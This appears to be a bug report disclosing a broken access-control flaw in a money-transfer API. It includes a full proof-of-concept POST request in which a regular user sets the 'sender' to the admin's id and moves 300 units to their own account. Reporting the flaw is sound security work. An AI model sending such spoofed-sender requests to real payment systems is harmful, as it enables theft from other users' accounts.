User is able to transfer another users money

[Nefrin]

A regular user is able to send a POST request to /v1/transactions/transfer with a specified sender in the JSON body.

POST /v1/transactions/transfer HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Authorization: Basic e3t1c2VyX2xvZ2lufX06
User-Agent: PostmanRuntime/7.15.0
Accept: */*
Cache-Control: no-cache
Postman-Token: 9b1333f0-3cad-40e4-ac47-cd9d082ea049,66371bc1-65fc-4fcc-abe5-48e77cd3b389
Host: localhost:8080
accept-encoding: gzip, deflate
content-length: 76
Connection: keep-alive
cache-control: no-cache

{
   "sender": {{admin_id}},
   "receiver": {{current_user_id}},
   "amount": 300
}

This example request is answered with a 201 Accepted. This is most likely a bad thing.